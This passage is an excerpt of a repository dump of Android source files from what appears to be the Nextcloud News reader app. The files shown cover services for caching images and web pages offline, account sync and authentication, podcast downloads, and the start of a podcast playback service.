de.luhmer.owncloudnewsreader.helper.ImageHandler;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\n\npublic class DownloadImagesService extends JobIntentService {\n\n\tpublic static final String LAST_ITEM_ID = \"LAST_ITEM_ID\";\n    private static final String TAG = DownloadImagesService.class.getCanonicalName();\n\n    public enum DownloadMode { FAVICONS_ONLY, PICTURES_ONLY, FAVICONS_AND_PICTURES }\n    public static final String DOWNLOAD_MODE_STRING = \"DOWNLOAD_MODE\";\n\tprivate static Random random;\n\n\tprivate int NOTIFICATION_ID = 1923;\n\tprivate NotificationCompat.Builder mNotificationDownloadImages;\n\n    private int maxCount;\n    private NotificationManager mNotificationManager;\n\n\n    /**\n     * Unique job/channel ID for this service.\n     */\n    private static final int JOB_ID = 1000;\n    private static final String CHANNEL_ID = \"Download Images Service\";\n\n\n    /**\n     * Convenience method for enqueuing work in to this service.\n     */\n    public static void enqueueWork(Context context, Intent work) {\n        enqueueWork(context, DownloadImagesService.class, JOB_ID, work);\n    }\n\n\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        try {\n            maxCount = 0;\n            if (random == null)\n                random = new Random();\n            NOTIFICATION_ID = random.nextInt();\n\n            mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n    }\n\n    @Override\n\tpublic void onDestroy() {\n        Log.d(TAG, \"onDestroy\");\n\t\tif(mNotificationDownloadImages != null)\n\t\t{\n\t\t\tif(maxCount == 0) {\n                mNotificationManager.cancel(NOTIFICATION_ID);\n            }\n\t\t}\n\t\tsuper.onDestroy();\n\t}\n\n    @Override\n    protected void onHandleWork(@NonNull Intent intent) {\n        DownloadMode downloadMode = (DownloadMode) intent.getSerializableExtra(DOWNLOAD_MODE_STRING);\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n        mNotificationDownloadImages = NextcloudNotificationManager.buildNotificationDownloadImageService(this, CHANNEL_ID);\n\n        if(Objects.equals(downloadMode, DownloadMode.FAVICONS_ONLY)) {\n            List<Feed> feedList = dbConn.getListOfFeeds();\n            FavIconHandler favIconHandler = new FavIconHandler(getApplicationContext());\n            for(Feed feed : feedList) {\n                try {\n                    favIconHandler.preCacheFavIcon(feed);\n                } catch(IllegalStateException ex) {\n                    Log.e(TAG, ex.getMessage());\n                }\n            }\n        } else if(Objects.equals(downloadMode, DownloadMode.FAVICONS_AND_PICTURES) || Objects.equals(downloadMode, DownloadMode.PICTURES_ONLY)) {\n            long lastId = intent.getLongExtra(LAST_ITEM_ID, 0);\n            List<RssItem> rssItemList = dbConn.getAllItemsWithIdHigher(lastId);\n            List<String> links = new ArrayList<>();\n            for(RssItem rssItem : rssItemList) {\n                String body = rssItem.getBody();\n                links.addAll(ImageHandler.getImageLinksFromText(rssItem.getLink(), body));\n\n                if(links.size() > 10000) {\n                    NextcloudNotificationManager.showNotificationImageDownloadLimitReached(this, CHANNEL_ID, 10000);\n                    break;\n                }\n            }\n            ((LazyList)rssItemList).close();\n\n            maxCount = links.size();\n\n            if (maxCount > 0) {\n                mNotificationManager.notify(NOTIFICATION_ID, mNotificationDownloadImages.build());\n            }\n\n            downloadImages(links);\n        }\n\t}\n\n    private void downloadImages(List<String> linksToImages) {\n        try {\n            RequestManager glide = Glide.with(this.getApplicationContext());\n\n            while(linksToImages.size() > 0) {\n                String link = linksToImages.remove(0);\n                new DownloadImageHandler(link).preloadSync(glide);\n\n                updateNotificationProgress(linksToImages.size());\n            }\n        } catch (Exception ex) {\n            ex.printStackTrace();\n            Log.e(TAG, \"Error while downloading images.\");\n            mNotificationDownloadImages\n                    .setContentText(\"Error while downloading images - \" + ex.toString())\n                    .setProgress(0, 0, false);\n            mNotificationManager.notify(NOTIFICATION_ID, mNotificationDownloadImages.build());\n        }\n    }\n\n    private void updateNotificationProgress(int remainingImagesCount) {\n        int count = maxCount - remainingImagesCount;\n        if(maxCount == count) {\n            mNotificationManager.cancel(NOTIFICATION_ID);\n        } else {\n            mNotificationDownloadImages\n                    .setContentText((count + 1) + \"/\" + maxCount + \" - \" + getString(R.string.notification_download_images_offline))\n                    .setProgress(maxCount, count + 1, false);\n\n            mNotificationManager.notify(NOTIFICATION_ID, mNotificationDownloadImages.build());\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/DownloadWebPageService.java",
    "content": "package de.luhmer.owncloudnewsreader.services;\n\nimport android.app.NotificationManager;\nimport android.app.PendingIntent;\nimport android.app.Service;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Handler;\nimport android.os.IBinder;\nimport android.os.Looper;\nimport androidx.core.app.NotificationCompat;\nimport android.util.Log;\nimport android.webkit.ConsoleMessage;\nimport android.webkit.ValueCallback;\nimport android.webkit.WebChromeClient;\nimport android.webkit.WebResourceError;\nimport android.webkit.WebResourceRequest;\nimport android.webkit.WebView;\nimport android.webkit.WebViewClient;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.io.File;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.helper.NotificationActionReceiver;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\nimport de.luhmer.owncloudnewsreader.services.events.StopWebArchiveDownloadEvent;\n\nimport static de.luhmer.owncloudnewsreader.Constants.NOTIFICATION_ACTION_STOP_STRING;\n\n/**\n * An {@link Service} subclass for handling asynchronous task requests in\n * a service on a separate handler thread.\n * <p>\n * helper methods.\n */\npublic class DownloadWebPageService extends Service {\n\n    private static final String TAG = DownloadWebPageService.class.getCanonicalName();\n    private static final int JOB_ID = 1002;\n    private static final int NOTIFICATION_ID = JOB_ID;\n    private static final String CHANNEL_ID = \"Download Web Page Service\";\n\n    public static final String WebArchiveFinalPrefix = \"web_archive_\";\n    private static final int NUMBER_OF_CORES = 4;\n    private NotificationCompat.Builder mNotificationWebPages;\n    private NotificationManager mNotificationManager;\n\n\n    // Sets the amount of time an idle thread waits before terminating\n    private static final int KEEP_ALIVE_TIME = 1;\n    // Sets the Time Unit to seconds\n    private static final TimeUnit KEEP_ALIVE_TIME_UNIT = TimeUnit.SECONDS;\n\n    private final AtomicBoolean interrupted = new AtomicBoolean();\n    private final AtomicInteger doneCount = new AtomicInteger();\n    private Integer totalCount = 0;\n\n    private ThreadPoolExecutor mDownloadThreadPool;\n\n\n\n    @Override\n    public void onCreate() {\n        Log.d(TAG, \"onCreate() called\");\n        super.onCreate();\n\n        initNotification();\n        downloadWebPages();\n\n        EventBus.getDefault().register(this);\n\n        startForeground(NOTIFICATION_ID, mNotificationWebPages.build());\n    }\n\n    @Override\n    public void onDestroy() {\n        Log.d(TAG, \"onDestroy() called\");\n        mNotificationManager.cancel(NOTIFICATION_ID);\n        EventBus.getDefault().unregister(this);\n        super.onDestroy();\n    }\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        return null;\n    }\n\n    private void initNotification() {\n        mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);\n        mNotificationWebPages = NextcloudNotificationManager.buildNotificationDownloadWebPageService(this, CHANNEL_ID);\n\n        Intent stopIntent = new Intent(this, NotificationActionReceiver.class);\n        stopIntent.setAction(NOTIFICATION_ACTION_STOP_STRING);\n        PendingIntent stopPendingIntent = PendingIntent.getBroadcast(this, 0, stopIntent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_ONE_SHOT);\n        mNotificationWebPages.addAction(R.drawable.ic_action_pause_24, \"Stop\", stopPendingIntent);\n    }\n\n    @Subscribe\n    public void onEvent(StopWebArchiveDownloadEvent event) {\n        mDownloadThreadPool.shutdownNow();\n        interrupted.set(true);\n        stopSelf();\n    }\n\n    private void runOnMainThreadAndWait(final Runnable runnable) throws InterruptedException {\n        synchronized(runnable) {\n            Handler handler = new Handler(Looper.getMainLooper());\n            handler.post(() -> {\n                runnable.run();\n                synchronized (runnable) {\n                    runnable.notifyAll();\n                }\n            });\n            runnable.wait(); // unlocks runnable while waiting\n        }\n    }\n\n    private void delayedRunOnMainThread(Runnable runnable, @SuppressWarnings(\"SameParameterValue\") int waitMillis) {\n        try {\n            Thread.sleep(waitMillis);\n            runOnMainThreadAndWait(runnable);\n        } catch (InterruptedException e) {\n            Log.e(TAG, \"Error occurred..\", e);\n        }\n    }\n\n\n\n    private void downloadWebPages() {\n        mNotificationWebPages.setProgress(0, 100, true);\n        mNotificationManager.notify(NOTIFICATION_ID, mNotificationWebPages.build());\n\n        final DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(DownloadWebPageService.this);\n        final BlockingQueue<Runnable> downloadWorkQueue = new LinkedBlockingQueue<>();\n\n        NewsFileUtils.getWebPageArchiveStorage(this).mkdirs();\n\n        for (RssItem rssItem : dbConn.getAllUnreadRssItemsForDownloadWebPageService()) {\n            downloadWorkQueue.add(new DownloadWebPage(rssItem.getLink()));\n        }\n        //downloadWorkQueue.clear();\n\n        /*\n        List<RssItem> items = dbConn.getAllUnreadRssItemsForDownloadWebPageService();\n        for (int i = 0; i < 5; i++) {\n            downloadWorkQueue.add(new DownloadWebPage(items.get(i).getLink()));\n        }\n        */\n\n        startDownloadingQueue(downloadWorkQueue);\n    }\n\n\n\n    private void startDownloadingQueue(BlockingQueue<Runnable> downloadWorkQueue) {\n        totalCount = downloadWorkQueue.size();\n\n        // Creates a thread pool manager\n        mDownloadThreadPool = new ThreadPoolExecutor(\n                NUMBER_OF_CORES,       // Initial pool size\n                NUMBER_OF_CORES,       // Max pool size\n                KEEP_ALIVE_TIME,\n                KEEP_ALIVE_TIME_UNIT,\n                downloadWorkQueue);\n\n        // Start all tasks in queue\n        mDownloadThreadPool.prestartAllCoreThreads();\n\n        // Tell ThreadPoolExecutor to stop once done\n        mDownloadThreadPool.shutdown();\n\n        // If no articles are present, remove notification right away. Otherwise the user has to close it manually\n        if(totalCount == 0) {\n            mNotificationManager.cancel(NOTIFICATION_ID);\n        }\n    }\n\n    class DownloadWebPage implements Runnable {\n\n        private final String url;\n        private WebView webView;\n        private final Object lock;\n\n        DownloadWebPage(String url) {\n            this.url = url;\n            lock = new Object();\n        }\n\n        @Override\n        public void run() {\n            //Log.v(TAG, \"Running DownloadWebPage for url: \" + url);\n            synchronized (lock) {\n                File webArchiveFile = getWebPageArchiveFileForUrl(DownloadWebPageService.this, url);\n                if (!webArchiveFile.exists()) {\n                    //Log.v(TAG, \"Loading page:\");\n                    initWebView();\n                    loadUrlInWebViewAndWait();\n                } else {\n                    Log.v(TAG, \"Already cached article: \" + url);\n                }\n            }\n            updateNotificationProgress();\n        }\n\n        private void initWebView() {\n            try {\n                runOnMainThreadAndWait(() -> {\n                    webView = new WebView(DownloadWebPageService.this);\n                    webView.setWebViewClient(new DownloadImageWebViewClient(lock));\n                    webView.setWebChromeClient(new DownloadImageWebViewChromeClient());\n                });\n            } catch (InterruptedException e) {\n                Log.e(TAG, \"Error while setting up WebView\", e);\n            }\n        }\n\n        private void loadUrlInWebViewAndWait() {\n            try {\n                runOnMainThreadAndWait(() -> {\n                    Log.d(TAG, \"downloading website for url: \" + url);\n                    webView.loadUrl(url);\n                });\n                lock.wait();\n            } catch (InterruptedException e) {\n                Log.e(TAG, \"Error while opening url\", e);\n            }\n        }\n    }\n\n    static class DownloadImageWebViewChromeClient extends WebChromeClient {\n        @Override\n        public boolean onConsoleMessage(ConsoleMessage cm) {\n            //Log.d(\"TAG\", cm.message() + \" at \" + cm.sourceId() + \":\" + cm.lineNumber());\n            return true;\n        }\n    }\n\n    class DownloadImageWebViewClient extends WebViewClient {\n        private final String TAG = DownloadImageWebViewClient.class.getName();\n        private final Object lock;\n        private boolean failed = false;\n\n        DownloadImageWebViewClient(Object lock) {\n            this.lock = lock;\n        }\n\n        @Override\n        public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {\n            //Log.e(TAG, \"onReceivedError() called with: view = [\" + view + \"], request = [\" + request + \"], error = [\" + error + \"]\");\n            failed = true;\n            super.onReceivedError(view, request, error);\n        }\n\n        public void onPageFinished(final WebView view, final String url) {\n            //Log.e(TAG, \"onPageFinished() called with: view = [\" + view + \"], url = [\" + url + \"]\");\n\n            if(failed) {\n                Log.e(TAG, \"Skipping onPageFinished as request failed.. \" + url);\n            } else {\n                saveWebArchive(view, url);\n            }\n\n            // Notify waiting thread that we're done..\n            synchronized (lock) {\n                lock.notifyAll();\n            }\n        }\n\n        private void saveWebArchive(final WebView view, final String url) {\n            new Thread(() -> delayedRunOnMainThread(() -> {\n                // Can't store directly on external dir.. (workaround -> store on internal storage first and move then))\n                final File webArchive = getWebPageArchiveFileForUrl(DownloadWebPageService.this, url);\n                final File webArchiveExternalStorage = getWebPageArchiveFileForUrl(DownloadWebPageService.this, url);\n                view.saveWebArchive(webArchive.getAbsolutePath(), false, value -> {\n                    // Move file to external storage once done writing\n                    webArchive.renameTo(webArchiveExternalStorage);\n                    //boolean success = webArchive.renameTo(webArchiveExternalStorage);\n                    //Log.v(TAG, \"Move succeeded: \" + success);\n                });\n            }, 2000)).start();\n        }\n    }\n\n    private synchronized void updateNotificationProgress() {\n        if(interrupted.get()) {\n            Log.v(TAG, \"interrupted.. stop requested.. do not show progress anymore!\");\n        } else {\n            int current = doneCount.incrementAndGet();\n            Log.d(TAG, String.format(\"updateNotificationProgress (%d/%d)\", current, totalCount));\n\n            if (current == totalCount) {\n                //mNotificationManager.cancel(NOTIFICATION_ID);\n                EventBus.getDefault().post(new StopWebArchiveDownloadEvent());\n            } else {\n                mNotificationWebPages\n                        .setContentText((current) + \"/\" + totalCount + \" - \" + getString(R.string.notification_download_articles_offline))\n                        .setProgress(totalCount, current, false);\n\n                mNotificationManager.notify(NOTIFICATION_ID, mNotificationWebPages.build());\n            }\n        }\n    }\n\n    public static File getWebPageArchiveFileForUrl(Context context, String url) {\n        return new File(NewsFileUtils.getWebPageArchiveStorage(context), getWebPageArchiveFilename(url));\n    }\n\n    public static String getWebPageArchiveFilename(String url) {\n        return WebArchiveFinalPrefix + url.hashCode() + \".mht\";\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/OwnCloudAuthenticatorService.kt",
    "content": "package de.luhmer.owncloudnewsreader.services\n\nimport android.app.Service\nimport android.content.Intent\nimport android.os.IBinder\nimport de.luhmer.owncloudnewsreader.authentication.OwnCloudAccountAuthenticator\n\nclass OwnCloudAuthenticatorService : Service() {\n    // Instance field that stores the authenticator object\n    private var mAuthenticator: OwnCloudAccountAuthenticator? = null\n\n    override fun onCreate() {\n        // Create a new authenticator object\n        mAuthenticator = OwnCloudAccountAuthenticator(this)\n    }\n\n    /*\n     * When the system binds to this Service to make the RPC call\n     * return the authenticator's IBinder.\n     */\n    override fun onBind(intent: Intent): IBinder? = mAuthenticator?.iBinder\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/OwnCloudSyncService.java",
    "content": "package de.luhmer.owncloudnewsreader.services;\n\nimport android.app.Service;\nimport android.content.Intent;\nimport android.os.IBinder;\nimport android.util.Log;\n\nimport de.luhmer.owncloudnewsreader.authentication.OwnCloudSyncAdapter;\n\npublic class OwnCloudSyncService extends Service {\n\n    // https://developer.android.com/training/sync-adapters/creating-sync-adapter#java\n    private static final String TAG = OwnCloudSyncService.class.getCanonicalName();\n\n    private static final Object sSyncAdapterLock = new Object();\n    private static OwnCloudSyncAdapter sSyncAdapter = null;\n\n    @Override\n    public void onCreate() {\n        /*\n        * Create the sync adapter as a singleton.\n        * Set the sync adapter as syncable\n        * Disallow parallel syncs\n        */\n        synchronized (sSyncAdapterLock) {\n            if (sSyncAdapter == null) {\n                sSyncAdapter = new OwnCloudSyncAdapter(getApplicationContext(), true);\n            }\n        }\n    }\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        /*\n        * Get the object that allows external processes\n        * to call onPerformSync(). The object is created\n        * in the base class code when the SyncAdapter\n        * constructors call super()\n        */\n        return sSyncAdapter.getSyncAdapterBinder();\n    }\n\n    public static boolean isSyncRunning() {\n        Log.d(TAG, \"isSyncRunning() called\");\n        //return syncRunning;\n        if(sSyncAdapter != null) {\n            return sSyncAdapter.syncRunning;\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/PodcastDownloadService.java",
    "content": "package de.luhmer.owncloudnewsreader.services;\n\nimport android.app.DownloadManager;\nimport android.app.IntentService;\nimport android.app.NotificationManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.net.Uri;\nimport androidx.core.app.NotificationCompat;\nimport android.util.Log;\nimport android.widget.Toast;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport java.io.BufferedInputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.math.BigInteger;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.security.MessageDigest;\nimport java.util.Locale;\n\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\n\n/**\n * An {@link IntentService} subclass for handling asynchronous task requests in\n * a service on a separate handler thread.\n * <p>\n * helper methods.\n */\npublic class PodcastDownloadService extends IntentService {\n\n    private static final String TAG = PodcastDownloadService.class.getCanonicalName();\n\n    // IntentService can perform, e.g. ACTION_FETCH_NEW_ITEMS\n    private static final String ACTION_DOWNLOAD = \"de.luhmer.owncloudnewsreader.services.action.DOWNLOAD\";\n\n    private static final String EXTRA_RECEIVER = \"de.luhmer.owncloudnewsreader.services.extra.RECEIVER\";\n    private static final String EXTRA_URL = \"de.luhmer.owncloudnewsreader.services.extra.URL\";\n\n    private final EventBus eventBus;\n\n    /**\n     * Starts this service to download a podcast. If\n     * the service is already performing a task this action will be queued.\n     *\n     * @see IntentService\n     */\n    public static void startPodcastDownload(Context context, PodcastItem podcastItem/*, ResultReceiver receiver*/) {\n        Intent intent = new Intent(context, PodcastDownloadService.class);\n        intent.setAction(ACTION_DOWNLOAD);\n        intent.putExtra(EXTRA_URL, podcastItem);\n        //intent.putExtra(EXTRA_RECEIVER, receiver);\n        context.startService(intent);\n    }\n\n\n    public PodcastDownloadService() {\n        super(\"PodcastDownloadService\");\n\n        eventBus = EventBus.getDefault();\n    }\n\n    @Override\n    protected void onHandleIntent(Intent intent) {\n        if (intent != null) {\n            final String action = intent.getAction();\n            if (ACTION_DOWNLOAD.equals(action)) {\n                //ResultReceiver receiver = intent.getParcelableExtra(EXTRA_RECEIVER);\n                PodcastItem podcast = (PodcastItem) intent.getSerializableExtra(EXTRA_URL);\n\n                downloadPodcast(podcast, this);\n            }\n        }\n    }\n\n    /**\n     * Handle action Foo in the provided background thread with the provided\n     * parameters.\n     */\n    private void handleActionDownload(PodcastItem podcast) {\n        Uri uri = Uri.parse(podcast.link);\n        DownloadManager.Request request = new DownloadManager.Request(uri);\n        request.setDescription(podcast.mimeType);\n        request.setTitle(podcast.title);\n\n        request.allowScanningByMediaScanner();\n        request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED);\n\n        String path = \"file://\" + getUrlToPodcastFile(this, podcast.fingerprint, podcast.link, true);\n        request.setDestinationUri(Uri.parse(path));\n        //request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, \"bla.txt\");\n\n        // get download service and enqueue file\n        DownloadManager manager = (DownloadManager) getSystemService(Context.DOWNLOAD_SERVICE);\n        manager.enqueue(request);\n    }\n\n\n    public static String getUrlToPodcastFile(Context context, String fingerprint, String WEB_URL_TO_FILE, boolean createDir) {\n        File file = new File(WEB_URL_TO_FILE);\n\n        String path = NewsFileUtils.getPathPodcasts(context) + \"/\" + fingerprint + \"/\";\n        if(createDir)\n            new File(path).mkdirs();\n\n        return path + file.getName();\n    }\n\n    private void downloadPodcast(PodcastItem podcast, Context context) {\n\n        NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);\n        NotificationCompat.Builder mNotificationDownloadPodcast = NextcloudNotificationManager.buildDownloadPodcastNotification(context, \"Download Podcast\");\n        int NOTIFICATION_ID = 543226;\n        notificationManager.notify(NOTIFICATION_ID, mNotificationDownloadPodcast.build());\n\n\n\n        try {\n            String urlTemp = podcast.link;\n            String path = getUrlToPodcastFile(this, podcast.fingerprint, urlTemp, true);\n            Log.v(TAG, \"Storing podcast to: \" + path);\n\n            URL url = new URL(urlTemp);\n            URLConnection connection = url.openConnection();\n            connection.connect();\n            connection.setConnectTimeout(10000);\n            connection.setReadTimeout(120000);//2min\n            // this will be useful so that you can show a typical 0-100% progress bar\n            int fileLength = connection.getContentLength();\n            //float fileSizeInMb = (float)fileLength / 1024f / 1024f;\n            float fileSizeInMb = (float)fileLength / 1000f / 1000f; // This matches the actual file size..\n\n            // download the file\n            InputStream input = new BufferedInputStream(url.openStream());\n\n\n            String pathCache = path + \".download\";\n            OutputStream output = new FileOutputStream(pathCache);\n\n            long startTime = System.nanoTime();\n\n            byte[] data = new byte[1024];\n            long total = 0;\n            int count;\n            int lastProgress = -1;\n            int byteCountSinceLastProgress = 0;\n            while ((count = input.read(data)) != -1) {\n                total += count;\n                byteCountSinceLastProgress += count;\n\n                podcast.downloadProgress = (int) (total * 100 / fileLength);\n\n                //Only update the ui/notification if the progress changed (e.g. from 1% to 2%)\n                if(lastProgress != podcast.downloadProgress) {\n                    lastProgress = podcast.downloadProgress;\n                    eventBus.post(new DownloadProgressUpdate(podcast));\n\n                    float speedInKBps = calculateNetworkSpeed(byteCountSinceLastProgress, startTime);\n                    startTime = System.nanoTime();\n                    byteCountSinceLastProgress = 0;\n\n                    mNotificationDownloadPodcast.setProgress(100, podcast.downloadProgress, false);\n                    mNotificationDownloadPodcast.setContentText(podcast.downloadProgress + \"% - \" + formatFloat(speedInKBps) + \"KB/s - \" + formatFloat(fileSizeInMb) + \"MB\");\n                    notificationManager.notify(NOTIFICATION_ID, mNotificationDownloadPodcast.build());\n                }\n\n                output.write(data, 0, count);\n            }\n\n            output.flush();\n            output.close();\n            input.close();\n\n\n            new File(pathCache).renameTo(new File(path));\n        } catch (IOException e) {\n            e.printStackTrace();\n\n            Toast.makeText(context, e.getLocalizedMessage(), Toast.LENGTH_SHORT).show();\n        }\n\n        podcast.downloadProgress = 100;\n        eventBus.post(new DownloadProgressUpdate(podcast));\n\n        notificationManager.cancel(NOTIFICATION_ID);\n\n        /*\n        Bundle resultData = new Bundle();\n        resultData.putInt(\"progress\" ,100);\n        receiver.send(UPDATE_PROGRESS, resultData);\n        */\n    }\n\n    private float calculateNetworkSpeed(int byteCountSinceLastProgress, long startTime) {\n        float speedInKBps = 0.0f;\n        try {\n            // seconds, milliseconds, microseconds, nanoseconds\n            long currentTime = System.nanoTime();\n            float timeInSecs = (currentTime - startTime) / 1000f / 1000f / 1000f;\n            speedInKBps = ((float)byteCountSinceLastProgress / timeInSecs) / 1024f;\n        } catch (ArithmeticException ae) {\n            // ignore..\n        }\n        return speedInKBps;\n    }\n\n    private String formatFloat(float val) {\n        return String.format(Locale.getDefault(), \"%.1f\", val);\n    }\n\n    //public static final int UPDATE_PROGRESS = 5555;\n\n\n    public static class DownloadProgressUpdate {\n        public DownloadProgressUpdate(PodcastItem podcast) {\n            this.podcast = podcast;\n        }\n        public PodcastItem podcast;\n    }\n\n    public static boolean PodcastAlreadyCached(Context context, String podcastFingerprint, String podcastUrl) {\n        File file = new File(PodcastDownloadService.getUrlToPodcastFile(context, podcastFingerprint, podcastUrl, false));\n        return file.exists();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/PodcastPlaybackService.java",
    "content": "package de.luhmer.owncloudnewsreader.services;\n\nimport static android.view.KeyEvent.KEYCODE_MEDIA_STOP;\nimport static de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm.ParsePodcastItemFromRssItem;\n\nimport android.Manifest;\nimport android.app.PendingIntent;\nimport android.content.ComponentName;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.pm.PackageManager;\nimport android.media.AudioManager;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.ResultReceiver;\nimport android.support.v4.media.MediaBrowserCompat;\nimport android.support.v4.media.MediaDescriptionCompat;\nimport android.support.v4.media.MediaMetadataCompat;\nimport android.support.v4.media.session.MediaSessionCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.telephony.PhoneStateListener;\nimport android.telephony.TelephonyCallback;\nimport android.telephony.TelephonyManager;\nimport android.text.TextUtils;\nimport android.util.Log;\nimport android.view.KeyEvent;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.annotation.RequiresApi;\nimport androidx.core.app.ActivityCompat;\nimport androidx.media.MediaBrowserServiceCompat;\nimport androidx.media.session.MediaButtonReceiver;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.events.podcast.ExitPlayback;\nimport de.luhmer.owncloudnewsreader.events.podcast.NewPodcastPlaybackListener;\nimport de.luhmer.owncloudnewsreader.events.podcast.PodcastCompletedEvent;\nimport de.luhmer.owncloudnewsreader.events.podcast.RegisterVideoOutput;\nimport de.luhmer.owncloudnewsreader.events.podcast.SeekPodcast;\nimport de.luhmer.owncloudnewsreader.events.podcast.SpeedPodcast;\nimport de.luhmer.owncloudnewsreader.events.podcast.TogglePlayerStateEvent;\nimport de.luhmer.owncloudnewsreader.events.podcast.WindPodcast;\nimport de.luhmer.owncloudnewsreader.model.MediaItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastFeedItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.model.TTSItem;\nimport de.luhmer.owncloudnewsreader.services.podcast.MediaPlayerPlaybackService;\nimport de.luhmer.owncloudnewsreader.services.podcast.PlaybackService;\nimport de.luhmer.owncloudnewsreader.services.podcast.TTSPlaybackService;\nimport de.luhmer.owncloudnewsreader.view.PodcastNotification;\n\npublic class PodcastPlaybackService extends MediaBrowserServiceCompat {\n\n    /** Declares that ContentStyle is supported */\n    public static final String CONTENT_STYLE_SUPPORTED = \"android.media.browse.CONTENT_STYLE_SUPPORTED\";\n\n    /**\n     * Bundle extra indicating the presentation hint for playable media items.\n     */\n    public static final String CONTENT_STYLE_PLAYABLE_HINT =\n            \"android.media.browse.CONTENT_STYLE_PLAYABLE_HINT\";\n\n    /**\n     * Bundle extra indicating the presentation hint for browsable media items.\n     */\n    public static final String CONTENT_STYLE_BROWSABLE_HINT =\n            \"android.media.browse.CONTENT_STYLE_BROWSABLE_HINT\";\n\n    /**\n     * Specifies the corresponding items should be presented as lists.\n     */\n    public static final int CONTENT_STYLE_LIST_ITEM_HINT_VALUE = 1;\n\n    /**\n     * Specifies that the corresponding items should be presented as grids.\n     */\n    public static final int CONTENT_STYLE_GRID_ITEM_HINT_VALUE = 2;\n\n\n    public static final String MEDIA_ITEM = \"MediaItem\";\n\n    private static final String TAG = \"PodcastPlaybackService\";\n\n    public static final String PLAYBACK_SPEED_FLOAT = \"PLAYBACK_SPEED\";\n    public static final String CURRENT_PODCAST_ITEM_MEDIA_ITEM = \"CURRENT_PODCAST_ITEM\";\n\n    public static final String CURRENT_PODCAST_MEDIA_TYPE = \"CURRENT_PODCAST_MEDIA_TYPE\";\n\n    private static final long PROGRESS_UPDATE_INTERNAL = 1000;\n    private static final long PROGRESS_UPDATE_INITIAL_INTERVAL = 100;\n\n    private PodcastNotification podcastNotification;\n\n    private EventBus eventBus;\n    private Handler mHandler;\n\n    private PlaybackService mPlaybackService;\n    private MediaSessionCompat mSession;\n\n    public static final float[] PLAYBACK_SPEEDS = { 0.25f, 0.5f, 0.75f, 1.0f, 1.25f, 1.5f, 1.75f, 2.0f, 2.5f, 3.0f };\n    private float currentPlaybackSpeed = 1;\n\n\n    public static final int delay = 500; //In milliseconds\n    private final ScheduledExecutorService mExecutorService =\n            Executors.newSingleThreadScheduledExecutor();\n    private ScheduledFuture<?> mScheduleFuture;\n\n    private CustomTelephonyCallback customTelephonyCallback;\n\n\n    public MediaItem getCurrentlyPlayingPodcast() {\n        if(mPlaybackService != null) {\n            return mPlaybackService.getMediaItem();\n        }\n        return null;\n    }\n\n    public boolean isActive() {\n        return mPlaybackService != null;\n    }\n\n    static final AtomicLong NEXT_ID = new AtomicLong(0);\n    final long id = 